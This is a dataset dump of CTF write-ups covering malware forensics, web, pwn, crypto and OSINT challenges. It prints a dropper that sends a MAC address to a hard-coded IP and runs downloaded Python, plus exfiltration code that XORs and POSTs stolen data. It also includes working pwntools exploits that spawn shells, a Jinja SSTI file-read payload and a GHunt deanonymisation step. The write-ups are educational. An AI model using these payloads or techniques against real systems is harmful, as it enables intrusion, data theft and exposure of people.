text_chunk
stringlengths
151
703k
# malware/sneaky-script (forensics/rev) Author: captainGeech ## Description ```We recovered a malicious script from a victim environment. Can you figure out what it did, and if any sensitive information was exfiltrated? We were able to export some PCAP data from their environment as well.``` Downloads: `files.zip` ## Analysis `files.zip` contains a shell script and a pcap file: ```$ unzip files.zipArchive: files.zip inflating: evidence.pcapng inflating: mal.sh``` `mal.sh` is small but nasty. If you were to run it, the first line removes itself: ```shrm -f "${BASH_SOURCE[0]}"``` then checks if `curl` and `python3` are in `$PATH`: ```shwhich python3 >/dev/nullif [[ $? -ne 0 ]]; then exitfi which curl >/dev/nullif [[ $? -ne 0 ]]; then exitfi``` grabs your mac address: ```shmac_addr=$(ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}')``` makes a GET request to a system controlled by the attacker, which sends your mac address and downloads the response to `/tmp/.cacheimg`: ```shcurl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2>/dev/null | base64 -d > /tmp/.cacheimg``` and that response is runnable python code, because `mal.sh` executes it and then immediately deletes it: ```shpython3 /tmp/.cacheimgrm -f /tmp/.cacheimg``` We need to find out what was downloaded to `/tmp/.cacheimg`, so open `evidence.pcapng` in wireshark and look for HTTP requests. I extracted `cacheimg.b64` from the GET response, and `upload.b64` from the POST request. ```$ cat cacheimg.b64 | base64 -d > cacheimg$ file cacheimgcacheimg: python 3.6 byte-compiled``` It's python bytecode, which we can decode with `uncompyle6`: ```$ mv cacheimg cacheimg.pyc$ uncompyle6 cacheimg.pyc > cacheimg.py``` `cacheimg.py` exfiltrates a bunch of data from the system and sends it to the attacker. This is the important part for learning how to decode the upload: ```python3def send(data): c = http.client.HTTPConnection('34.207.187.90') p = json.dumps(data).encode() k = b'8675309' d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))]) c.request('POST', '/upload', base64.b64encode(d)) x = c.getresponse()``` It takes a json dump, xor's the json text with the key in `k`, base64 encodes it, and then sends the base64 as data through the POST request. ## Solution We just have to reverse what `cacheimg.py` does: decode the base64, xor with the same key, and print the resulting json. ```python3#!/usr/bin/env python3import base64f = open(f"upload.b64", 'r')b64in = f.readlines()p = base64.b64decode(b64in[0])k = b'8675309'd = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])print(d.decode())``` ```$ ./decode_upload.py > upload.json$ cat upload.json | jq . | grep 'dam{' "FLAG": "dam{oh_n0_a1l_muh_k3y5_are_g0n3}",``` The flag is: ```dam{oh_n0_a1l_muh_k3y5_are_g0n3}```
# Writeup for the challenge **_`Just Not My Type`_** from Killer Queen CTF 2021---- [ZeroDayTea]: https://twitter.com/ZeroDayTea - ## Challenge Information: | Name | Category | Difficulty | Points | Dev ||------------------|----------|------------|--------|------------|| Just Not My Type | Web | Easy | 248 |[ZeroDayTea]| ---- # Description: I really don't think we're compatible ---- # Solution:First thing i thought it was an sqli, but then i remembered they already gave us the source code for the challenge. ### Source-Code: ```php<h1>I just don't think we're compatible</h1> <form method="POST"> Password <input type="password" name="password"> <input type="submit"></form>``` The twist of the challenge is first we didn't have any link to the webapp, at first so the `$FLAG` variable is just a fake flag, so i look and nothing really wrong with the code but maybe the function `strcasecmp()` has some kind of vulnerability or not used in secure way, after googling a bit and reading the strcasecmp php [Documentation](https://www.php.net/manual/en/function.strcasecmp.php) Turns out that `strcasecmp()` is a single-byte function , after searching what that means and how to exploit it found that if you don't use it in a secure way it can leadto **Authentication Bypass** , the idea is to turn the password param into an empty array and the value to %22%22 Example: `http://vulntarget.com/type.php?password[]=%22%22` and that gave me the flag :) ![Pasted image 20211030045525](https://user-images.githubusercontent.com/33517160/139555131-39686fe2-8548-404a-a845-9aa5e97af02b.png) ## Flag: **`flag{no_way!_i_took_the_flag_out_of_the_source_before_giving_it_to_you_how_is_this_possible}`**
# have-i-b33n-pwn3dIn this challenge we are supposed to find all passwords in a private set intersection protocol as described in [this paper](https://eprint.iacr.org/2021/1159). To be frank I didnt read the paper.This protocol is based on elliptic curves (more specifically $y^2 = x^3 + 486662x^2 + x \mod{2^{255}-19}$) however that turns out to be bad.## Relating the 2 polynomials```python for i in range(len(passwords)): b = sample_R() p = b * base_p bs.append(b) key = F(md5(passwords[i].encode())) # print(passwords[i].encode()) print(key) px, py = p.xy() xs.append((key, px)) ys.append((key, py)) x_poly = R.lagrange_polynomial(xs) y_poly = R.lagrange_polynomial(ys) send(str(x_poly)) send(str(y_poly))```The server creates a list of $x,y$ points where $x$ is md5(pw) and $y$ is a random private key generated by $base_p$)Then the points are interpolated together using lagrange interpolationNotice that both polynomials have the private keys = $P(md5(pw_i))$ where $P$ is the polynomial and can be substituted in to the curve equation$P_y(md5(pw_i))^2 = P_x(md5(pw_i))^3 + 486662 * P_x(md5(pw_i))^2 + P_x(md5(pw_i)) \mod{2^{255} - 19}$## Finding the hashesTo recover the hashes we seed to find for what n $P_x(n)^3 + 486662 * P_x(n)^2 + P_x(n) - P_y(n)^2 \equiv 0 \mod{2^{255} - 19}$```pythonpol = xPoly^3 + 486662 * xPoly^2 + xPoly - yPoly^2roots = pol.roots()len(roots) # 17```This returns 17 roots (your results may vary) some of them have to be fake. Any roots that are 255 bit long are fake since md5 hashes are 128 bit.Before we can try to crack the hashes we first have to check how the hash was converted to an integer.```pythondef md5(msg: bytes) -> int: h = MD5.new() h.update(msg) return int.from_bytes(h.digest(), 'little')```Here we see that the `md5()` function uses little endianess (ew) so we have to convert the hashes using `int(r).to_bytes(16, 'little').hex()`.## Finishing upNow we can throw this into an online md5 lookup table (or hashcat if you are feeling fancy) and find```481cf17a2f3a0cfafcedaa0dbea09fdc DDBBFF476e90c539400f0e2988b32db64ae6bf honolulu-lulu557d2cd9d61ebd645f0713ca655de1b1 STARK1db3715c800e019e84c7fea4dc0c71d7d ctnormibdc87b9c894da5168059e00ebffb9077 password12346a951dee3380abc4b7aa2ccd9bb96d5b FRENCHAMERICANCENTER2bb051b27a55de60f1b3550022725430 SPHAEROPSOCOPSIS594dbf2c9321c4424b8e38676dc8ae2f recklessness-inducingfce4765160cd540d146acd215bcd4a21 MANGO200067983c8501b3aae0ba8179426b389d1d STANLEYKARNOW21fb2e1c8d19182c1602897d7d874018 bnflwmxzqmokd3040380b07cc31250d18aa64013d613 strange-justicebcf1bf1fe1b2de521306fad6e714130b SINO-BRIT8b8037d5ca8f3c84363d7354dac5be05 BENAKOS9dd530606c2930dd60310d2e9f925e05 jojootis938b47219ea281812a031694d0954601 TOLDI85```Now we can patch psi_sender.py to recevie one extra line and then run `./psi_sender.py DDBBFF honolulu-lulu STARK1 ctnormi password1234 FRENCHAMERICANCENTER SPHAEROPSOCOPSIS recklessness-inducing MANGO2000 STANLEYKARNOW bnflwmxzqmok strange-justice SINO-BRIT BENAKOS jojootis TOLDI85` and we get back```They've all been pwned?! Really?!?! Please hold my flag while I go change them.dam{I_DoN'T_KnOw_1f-i-wAs-pwN3D_8U7-1_$ur3-@M-nOW}```
# malware/danceparty-1 (rev) Author: captainGeech ## Description ```A new IR came in hot off the press and we found some fresh malware! It looks like the adversaries were stealing sensitive information from the client environment but we aren't sure yet. Can you look at this malware and examine the configuration? NOTE: This is real malware (created for this event), handle with care and don't blindly run it. There are safeguards in place to protect accidental infection but don't rely on them. The ZIP password is infected.``` Downloads: `files.zip` ## Analysis The zip only contains `malware.exe`: ```$ file malware.exe malware.exe: PE32+ executable (console) x86-64, for MS Windows``` The flag has to be in the binary somewhere, so I started with strings: ```$ strings malware.exe...WEtcTxJIRFtdT1hfQk5MEhNTUkkESUVHWEtcT04dSB0ZX0RSSRJQElBZBERPXg==WEtcT0BcGRJNU0RCHFAETk8=BEdakspil0BwWPgstow7jg==TktHUU4ZGVp1TFgbT051R09HGlhTdUwaWHVOHlNQVw==XkFYHRob...passwordsinvoicesflagC:\Users\*``` Those were the interesting ones. The first 6 strings above are base64 encoded, and the last 4 might be filenames... `flag` is something to look at and see what code references it. Decode each base64 string: ```$ for i in WEtcTxJIRFtdT1hfQk5MEhNTUkkESUVH WEtcT04dSB0ZX0RSSRJQElBZBERPXg== WEtcT0BcGRJNU0RCHFAETk8= BEdakspil0BwWPgstow7jg== TktHUU4ZGVp1TFgbT051R09HGlhTdUwaWHVOHlNQVw== XkFYHRob; do echo $i | base64 -d; echo ""; doneXK\OHD[]OX_BNLSRIIEGXK\ONH_DRIPPYDO^XK\O@\MSDBPNOGZ��b�@pX�,��;�NKGQNZuLXNuGOGXSuLXuNSPW^AX``` That's not really useful yet, there's another layer to get through. ## Solution This is kind of a lame and guessy approach, but I just threw "magic" at those base64 strings and got lucky: <https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Magic(3,true,false,'dam%7B')&input=VGt0SFVVNFpHVnAxVEZnYlQwNTFSMDlIR2xoVGRVd2FXSFZPSGxOUVZ3PT0> From that, we find out the base64 decoded strings are xor'd with 42 (or 0x2a). <https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)XOR(%7B'option':'Hex','string':'2a'%7D,'Standard',false)&input=VGt0SFVVNFpHVnAxVEZnYlQwNTFSMDlIR2xoVGRVd2FXSFZPSGxOUVZ3PT0> The flag is: ```dam{d33p_fr1ed_mem0ry_f0r_d4yz}``` All 6 of those base64 strings decoded using the same approach: ```rave8bnqweruhdf89yxc.comraved7b73unxc8z8zs.netravejv38gynh6z.de.mp¸àH½jZrÒ..¦.¤dam{d33p_fr1ed_mem0ry_f0r_d4yz}tkr701``` Those look like clues for danceparty-2. `malware.exe` is nicely obsfucated, so it's not easy to make sense of what's going on, but the other (less guessy) approach I see to figure out how those strings are decoded is by looking at references to the base64 strings. `FUN_140001000` for example (from Ghidra) decodes one of those base64 strings: ![](FUN_140001000.png) and then it passes the string of bytes into `FUN_1400019e0`, which xor's each byte with `0x2a`: ![](FUN_1400019e0.png) So from that you could write a small script to decode each one. ```python3#!/usr/bin/env python3import base64 b64in = [ "WEtcTxJIRFtdT1hfQk5MEhNTUkkESUVH", "WEtcT04dSB0ZX0RSSRJQElBZBERPXg==", "WEtcT0BcGRJNU0RCHFAETk8=", "BEdakspil0BwWPgstow7jg==", "TktHUU4ZGVp1TFgbT051R09HGlhTdUwaWHVOHlNQVw==", "XkFYHRob"] for entry in b64in: x = base64.b64decode(entry) d = bytes([x[i] ^ 0x2a for i in range(len(x))]) print(d)``` ```$ ./solve.py b'rave8bnqweruhdf89yxc.com'b'raved7b73unxc8z8zs.net'b'ravejv38gynh6z.de'b'.mp\xb8\xe0H\xbdjZr\xd2\x06\x9c\xa6\x11\xa4'b'dam{d33p_fr1ed_mem0ry_f0r_d4yz}'b'tkr701'```
## ChallengeFor challenge file you can convert following from base64 [Tweety Birb Base64.txt](https//gist.githubusercontent.com/ebubekirtrkr/b65364871463ac3288f00a85a79634a4/raw/6accc617d5b792ddacbd7b8babea2eb8b8b17786/base64.txt) ## Solve ### Checksec for binary``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` Since it has format string vuln and it has `Partial RELRO` we can easily solve with pwntools format string tool by overriding got entry. ```pyfrom pwn import *context.log_level="debug" elf = ELF("./tweetybirb")context.arch=elf.arch def exec_fmt(payload): p = elf.process() p.clean() p.sendline(payload) return p.recvline() autofmt = FmtStr(exec_fmt)offset = autofmt.offset #6p = remote("143.198.184.186", 5002) p.clean()payload = fmtstr_payload(offset, {elf.symbols["got.puts"]: elf.symbols["win"]})p.sendline(payload)p.interactive()print(p.clean())```
From the previous "impersonator" challenge, our research brought us to a github page belonging to a user known as [nc-lnvp](https://github.com/nc-lnvp). The answer for obtaining their first and last name lies in their actual github commit history. When someone commits to a repository, their name and email address is included in the repo's commit log. In order to obtain this log, we first have to clone a repository owned by him. I chose the "hello world" repository. ![](https://i.imgur.com/eBOUPMo.png) Next, we run `git log` whilst inside the repository to get the actual commit history. From here, we are presented with an email address: **[email protected]**. Their first name (Pax) was also included in some of the github commits aswell, but it was only their first name and thus was still not enough. ![](https://i.imgur.com/LMQdT61.png) It appears that, underneath all that anonymity, they still provided us with some data that could be used to compromise it. The cool thing about GMail addresses is that typically, you are able to locate the actual google account linked to it. I wasn't able to do this manually, as it was too tedious, so I instead went with a tool known as [GHunt](https://github.com/mxrch/GHunt). ![](https://i.imgur.com/BXYSvYc.png) And sure enough, we are correct. There's our flag. `dam{pax_vajello}`
```pythonfrom pwn import * alpha = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] def sum(x): s = 0 arr = list(x) arr.pop() for i in arr: s += alpha.index(i) return s r = remote("code.deadface.io", 50000)r.recvuntil('Your word is: ', drop=True)word = r.recvline().decode("UTF-8")print(word)t = sum(word)r.sendline(str(t))print(r.recvline())print(r.recvline())```
*It's my first writeup - have some mercy* # Super Secure Translation Implementation*Overall fun and sweaty web challenge that took more time then anticipated* **Difficulty: 7/10**## RECONThe web server was running a flask/jinja application that had the following routes:```@server.route("/") => app.py @server.route("/<path>") => app.py if the resource is [email protected]("/secure_translate/") => print(f"Payload parsed: {payload}") - payload parameter is user controlled input. Vulnerable to SSTI.```- The Docker file showed that all the source files are located in the web root, so we could access them by simply navigating to - http://webapp/source.py The application had a list of characters that are allowed to use for a payload:```allowList = ["b", "c", "d", "e", "h", "l", "o", "r", "u", "1", "4", "6", "*", "(", ")", "-", "+", "'", "|", "{", "}"]```Using a character that is not in this list would reutrn:```Failed Allowlist Check: <all the blacklisted characters that you used>```The application also had custom jinja filters:```app.jinja_env.filters["u"] = up --> uppercaseapp.jinja_env.filters["l"] = low --> lowercaseapp.jinja_env.filters["b64d"] = b64dec --> base64 decodeapp.jinja_env.filters["order"] = sortr --> sort stringapp.jinja_env.filters["ch"] = ch --> return character from character codeapp.jinja_env.filters["e"] = e --> eval```Reference: https://jinja.palletsprojects.com/en/3.0.x/templates/#filters## EXPLOITATION 1. **Expanding our dictionary** Using only the whitelisted characters is not enough to build a high severity payload, so we had to expand our alphabet by using basic arithmetics and the jinja filters for string transformation The 'ch' filter uses python's chr(int) function to return a character based on the ascii number. ```>>> print(chr(111-14))>>> a...GET http://webapp/secure_translate/payload={{(111-14)|ch}}<html>a</html>```*Note that we can only use the numbers 1, 4, 6 from the allowlist* Now that we can use all the characters we can generate more complex payloads and pass them to eval 2. **More blacklisted strings** The filters.py file adds another layer of filtration by blacklisting some strings that are passed to eval:```forbidlist = [" ", "=", ";", "\n", ".globals", "exec"]```In addtion the first 4 characters cannot be "open" and "eval":```if x[0:4] == "open" or x[0:4] == "eval": return "Not That Easy ;)"```Honorable mention: - The input has a limit of 161 characters, otherwise it's rejected by the application. 3. **Final Exploit** Payload: ```\ropen('/flag').read()```more commonly known as ```{{((6%2b6%2b1)|ch%2b'o'%2b(111%2b1)|ch%2b'e'%2b(111-1)|ch%2b'("'%2b(46%2b1)|ch%2b(61%2b41)|ch%2b'l'%2b(111-14)|ch%2b(61%2b41%2b1)|ch%2b'"'%2b')'%2b46|ch%2b're'%2b(111-14)|ch%2b'd()')|e}}``` Trace:```GET /secure_translate/?payload={{((6%2b6%2b1)|ch%2b'o'%2b(111%2b1)|ch%2b'e'%2b(111-1)|ch%2b'("'%2b(46%2b1)|ch%2b(61%2b41)|ch%2b'l'%2b(111-14)|ch%2b(61%2b41%2b1)|ch%2b'"'%2b')'%2b46|ch%2b're'%2b(111-14)|ch%2b'd()')|e}} HTTP/2Host: super-secure-translation-implementation.chals.damctf.xyzUser-Agent: MozSSilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9...HTTP/2 200 OKContent-Type: text/html; charset=utf-8Date: Mon, 08 Nov 2021 00:55:30 GMTServer: gunicornContent-Length: 744 <stripped> dam{p4infu1_all0wl1st_w3ll_don3}Take Me Home </stripped></html>``` dam{p4infu1_all0wl1st_w3ll_don3}
# DamCTF 2021 ## pwn/magic-marker > Can you find the flag in this aMAZEing text based adventure game?> > `nc chals.damctf.xyz 31313`>> Author: BobbySinclusto> > [`magic-marker`](magic-marker) Tags: _pwn_ _x86-64_ _bof_ _ret2win_ ## Summary BOF to overwrite maze structure to allow free movement and go _off grid_ to the return address for an easy ret2win. ## Analysis ### Checksec ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` No PIE, Partical RELRO = Easy ROP, easy GOT overwrite. Just do not mess with the canary. ### Decompile with Ghidra `play_maze` is used to navigate a 40x40 (`0x28` x `0x28`) randomly generated maze. Each `0x20` byte tile in the maze is represented with a data structure of message and walls (well, lack of walls to be precise) and is addressed with something like `local_c848 + (uVar6 + lVar4 * 0x28) * 0x20`. In `play_maze` there's three areas of interest: ```c uVar7 = auStack51244[lVar5 * 8]; if ((uVar7 & 8) != 0) { puts("North"); uVar7 = auStack51244[lVar5 * 8]; } if ((uVar7 & 4) != 0) { puts("East"); uVar7 = auStack51244[(uVar6 + lVar4 * 0x28) * 8]; } if ((uVar7 & 2) != 0) { puts("South"); uVar7 = auStack51244[(uVar6 + lVar4 * 0x28) * 8]; } if ((uVar7 & 1) != 0) { puts("West"); }``` A single nibble is used to store where the walls are not, IOW the directions that are open to you. `0xf` will enable movement in any direction. ```c switch(iVar2 - 0x61U & 0xff) { // translate a-z to 0-25 case 0: // a for west if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 1) != 0) { uVar7 = (int)uVar8 - 1; uVar8 = (ulong)uVar7; uVar6 = SEXT48((int)uVar7); goto LAB_00400d00; } break;... case 3: // d for east if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 4) != 0) { uVar7 = (int)uVar8 + 1; uVar8 = (ulong)uVar7; uVar6 = SEXT48((int)uVar7); goto LAB_00400d00; } break;... case 0x10: // q for quit, IOW our ROP chain if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) { return; } __stack_chk_fail(); case 0x12: // s for south if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 2) != 0) { iVar1 = iVar1 + 1; lVar4 = (long)iVar1; goto LAB_00400d00; } break; case 0x16: // w for north if ((*(byte *)(auStack51244 + (uVar6 + lVar4 * 0x28) * 8) & 8) != 0) { iVar1 = iVar1 + -1; lVar4 = (long)iVar1; goto LAB_00400d00; } break;``` Movement increments or decrements `lVar4` (N/S movement) and/or `uVar6` (E/W movement). ```c puts( "Your magnificently magestic magic marker magically manifests itself in your hand. What would you like to write?" ); fgets(local_c848 + (uVar6 + lVar4 * 0x28) * 0x20,0x21,stdin);``` Lastly our vuln is this `fgets` that will take are current position and allow us to write out a message on the tile, however it can overwrite the wall data. A simple string of `0x20` * `0xFF` will simply enable us to move in any direction. Including _off the grid_. We just have to be very careful when _off the grid_ not to corrupt the canary. Otherwise it's a simple ret2win challenge. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./magic-marker') if args.REMOTE: p = remote('chals.damctf.xyz', 31313)else: p = process(binary.path) p.sendlineafter(b'?\n',b'jump up and down')``` There's a small gate to get past to start the game, simply `jump up and down`. ```python# where am i?p.sendlineafter(b'): ',b'm') x = y = 0for i in range(80): _ = p.recvline().strip() if b'|' in _: y += 1 if b'*' in _: x = (2 + _.find(b'*')) // 4 break log.info('x,y = {x},{y}'.format(x = x, y = y))``` Next, we need to find where we are in the maze. The above just scans the output of `m` (print maze) to find our location. ```python# kick down the walls and get to the lower rightfor i in range(40 - x): p.sendlineafter(b'): ', b'x') p.sendlineafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b'd') for j in range(40 - y): p.sendlineafter(b'): ', b'x') p.sendlineafter(b'?\n', 0x20 * b'\xff') p.sendlineafter(b'): ', b's')``` Next, we just kick down the walls and move to the lower right, this is at the end of the allocated buffer for the maze and not far from the return address. ```python# lets bust out of here, return to the eastp.sendlineafter(b'): ', b'x')p.sendlineafter(b'?\n', 0x20 * b'\xff')p.sendlineafter(b'): ', b'd')p.sendlineafter(b'): ', b'd')p.sendlineafter(b'): ', b'x')p.sendlineafter(b'?\n', 0x20 * b'\xff')p.sendlineafter(b'): ', b'd')p.sendlineafter(b'): ', b'x') # 8 bytes before the return address FTW!p.sendlineafter(b'?\n', p64(0) + p64(binary.sym.win))p.sendlineafter(b'): ', b'q')p.stream()``` Lastly, move East (`0x20` bytes at a time). Each time before we move we write `0x20 * b'\xff'` bytes to clear out the walls, _except_ for the block of 32-bytes that contains the canary. Luckily, the correct nibble is set in that block to allow another move East (it's a stack address at that location with a 50/50 chance unblocking East with ASLR. No checks; sometimes this hangs, just rerun. In the [pwn/sir-marksalot](../sir-marksalot) writeup I'll cover this in more detail and put in checks). Finally after a few more moves we're 8 bytes from the return address, so 8 bytes of garbage, then the location of the `win` function and we get the flag. End of stack just before `q` is sent: ```0x00007fff68ff78b0│+0xc7f0: 0xffffffffffffffff0x00007fff68ff78b8│+0xc7f8: 0xffffffffffffffff0x00007fff68ff78c0│+0xc800: 0xffffffffffffffff0x00007fff68ff78c8│+0xc808: 0xffffffffffffffff0x00007fff68ff78d0│+0xc810: 0x00000000000002000x00007fff68ff78d8│+0xc818: 0xeff9658e4eccb1000x00007fff68ff78e0│+0xc820: 0x0000000000401380 → "Oh no! The ground gives way and you fall into a da[...]"0x00007fff68ff78e8│+0xc828: 0x00007fff68ff7920 → 0x20707520706d000a0x00007fff68ff78f0│+0xc830: 0xffffffffffffffff0x00007fff68ff78f8│+0xc838: 0xffffffffffffffff0x00007fff68ff7900│+0xc840: 0xffffffffffffffff0x00007fff68ff7908│+0xc848: 0xffffffffffffffff0x00007fff68ff7910│+0xc850: 0x00000000000000000x00007fff68ff7918│+0xc858: 0x0000000000400fa0 → <win+0> push rbp``` This correlates with the last block of code above. Basically, write out `0xff`s, then move East to block with canary, then move East again preserving the block with the canary, then write out `0xff`s again, move East, then write out ROP chain. Stack before going _off the grid_: ```0x00007ffe2af22390│+0xc7f0: 0x00000000000000000x00007ffe2af22398│+0xc7f8: 0x00000000000000000x00007ffe2af223a0│+0xc800: 0x00000000000000000x00007ffe2af223a8│+0xc808: 0x00000008000000000x00007ffe2af223b0│+0xc810: 0x00000000000002130x00007ffe2af223b8│+0xc818: 0x068c9f5626adf3000x00007ffe2af223c0│+0xc820: 0x0000000000401380 → "Oh no! The ground gives way and you fall into a da[...]"0x00007ffe2af223c8│+0xc828: 0x00007ffe2af22400 → "jump up and down\n"0x00007ffe2af223d0│+0xc830: 0x000000000040113d → "jump up and down\n"0x00007ffe2af223d8│+0xc838: 0x0000000000401122 → "I'm not sure I understand."0x00007ffe2af223e0│+0xc840: 0x00007ffe2af22530 → 0x00000000000000010x00007ffe2af223e8│+0xc848: 0x00000000000000000x00007ffe2af223f0│+0xc850: 0x00000000000000000x00007ffe2af223f8│+0xc858: 0x000000000040085d → <main+173> xor eax, eax``` Finding the location of the return address is pretty straight forward. The `main+173` is a giveaway, but also you can just get from Ghidra `char local_c848` (correlates with stack offset: `+0xc858`). Output: ```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/damctf2021/magic-marker/magic-marker' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to chals.damctf.xyz on port 31313: Done[*] x,y = 38,39Congratulations! You escaped the maze and got the flag!dam{m4rvellOU5lY_M49n1f1cen7_m491C_m4rker5_M4KE_M4zE_M4n1PuL471oN_M4R91N4llY_M4L1c1Ou5}```
# TSG CTF 2021 ## Beginner's Pwn 2021 > 100> > I heard pwners could utilize an off-by-one error to capture the flag.>> `nc 34.146.50.22 30007`>> Hint for beginners:> > * First of all, download the attachments and see the source file.> * What you have to do is to guess the flag... No, fake the flag. That means you have to somehow make `strncmp(your_try, flag, length) == 0` hold.> * There is little attack surface. Check the spec of suspicious functions.>> [`beginners_pwn.tar.gz`](beginners_pwn.tar.gz) Tags: _pwn_ _x86-64_ _off-by-one_ _remote-shell_ ## Summary The description pretty much spells it out for you. ## Analysis ### Source Included ```cvoid win() { system("/bin/sh");} void init() { alarm(60); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0);} int main(void) { char your_try[64]={0}; char flag[64]={0}; init(); puts("guess the flag!> "); FILE *fp = fopen("./flag", "r"); if (fp == NULL) exit(-1); size_t length = fread(flag, 1, 64, fp); scanf("%64s", your_try); if (strncmp(your_try, flag, length) == 0) { puts("yes"); win(); } else { puts("no"); } return 0;}``` The challenge description clearly states this is an _off-by-one error_. Since, `scanf` is our only input method, let's start with `man scanf`: ```s Matches a sequence of non-white-space characters; the next pointer must be a pointer to the initial element of a character array that is long enough to hold the input sequence and the terminating null byte ('\0'), which is added automatically. The input string stops at white space or at the maximum field width, whichever occurs first.``` This: _that is long enough to hold the input sequence **and the terminating null byte ('\0')**_, is the key. `scanf("%64s", your_try);` will accept `64` characters and terminate with a null byte at the 65th character overwriting the first byte of `flag` (IFF you input 64 characters). IOW, _off-by-one_. So, if `flag` is null, then to match with `strncmp`, `your_try` must also be null; actually just start with null since `strncmp` compares strings and strings end with _null_: From `man strncmp`: ```The strncmp() function compares not more than n characters. Becausestrncmp() is designed for comparing strings rather than binary data,characters that appear after a '\0' character are not compared.``` To get a match and `win()`, just send a null followed by 63 bytes of anything. `scanf` will append the final `null` overwriting the first byte of `flag`. ## Exploit ```python#!/usr/bin/env python3 from pwn import * p = remote('34.146.101.4', 30007) p.sendlineafter(b'> \n',b'\0' + 63 * b'A')p.recvuntil(b'yes\n')p.interactive()``` Output: ```bash# ./exploit.py[+] Opening connection to 34.146.101.4 on port 30007: Done[*] Switching to interactive mode$ cat flagTSGCTF{just_a_simple_off_by_one-chall_isnt_it}```
# A Kind of Magic by ZeroDayTea You're a magic man aren't you? Well can you show me? nc 143.198.184.186 5000 ## Analysis In this challenge we were given an ELF-64bit named `akindofmagic` with no canary, NX enabled, and PIE is also enabled. ```$ file akindofmagic; checksec akindofmagic akindofmagic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c2529d1bf8b4d4717af0728e24730b6a407050d9,for GNU/Linux 3.2.0, not stripped[*] '/home/kali/Documents/killerqueen/akindofmagic' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled``` Let's try to run it ```$ ./akindofmagic Is this a kind of magic? What is your magic?: chicken nuggetYou entered chicken nugget Your magic is: 0You need to challenge the doors of time``` It seems that the program will print our input and there is `Your magic is: 0` which obviously kinda odd. Let's open the program using ida to see what the source code looks like. ```cint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rbp __int64 v4; // rsi __int64 v5; // rdx __int64 v7; // [rsp-38h] [rbp-38h] unsigned int v8; // [rsp-Ch] [rbp-Ch] __int64 v9; // [rsp-8h] [rbp-8h] __asm { endbr64 } v9 = v3; v8 = 0; sub_1090("Is this a kind of magic? What is your magic?: ", argv, envp); sub_10D0(_bss_start); sub_10C0(&v7, 64LL, stdin); sub_10B0("You entered %s\n", &v7;; v4 = v8; sub_10B0("Your magic is: %d\n", v8); sub_10D0(_bss_start); if ( v8 == 1337 ) { sub_1090("Whoa we got a magic man here!", v4, v5); sub_10D0(_bss_start); sub_10A0("cat flag.txt"); } else { sub_1090("You need to challenge the doors of time", v4, v5); sub_10D0(_bss_start); } return 0;}``` From the main function, it seems that we need to overflow the input and change the `v8` variable. Since the program will also print the value inside the `v8` variable, we could check if our overflow is reaching v8 or not. First, we could use gdb to create a pattern.```$ gdb -q ./akindofmagicReading symbols from ./akindofmagic...(No debugging symbols found in ./akindofmagic)gdb-peda$ pattern create 80'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'``` Next, run the program and send the pattern.```gdb-peda$ rStarting program: /home/kali/Documents/killerqueen/akindofmagic Is this a kind of magic? What is your magic?: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AYou entered AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAYour magic is: 1094796865You need to challenge the doors of time Program received signal SIGSEGV, Segmentation fault.``` From the output above, we can determine which part of our pattern is hitting the `v8` variable.```gdb-peda$ pattern offset 10947968651094796865 found at offset: 44``` Nice, we got the offset/padding. Now we need to make the `v8` variable turns into 1337 in integer or 0x539 in hexadecimal. ## Exploit```pythonfrom pwn import * padding = 44 # offset from the input to variable v8hexNum = 0x539 # the value that we need to overwrite to v8 host = "143.198.184.186"port = 5000 s = connect(host, port) # receiving the first line of the program outputprint(s.recvline()) # generating the payloadpayload = b""payload += b"A"*paddingpayload += p64(hexNum) # send the payload to the programs.sendline(payload) # receiving the rest of the program outputprint(s.recvall()) s.close()``` Now all we need to do is just run the program![](akindofmagic.png) Flag: `flag{i_hope_its_still_cool_to_use_1337_for_no_reason}`
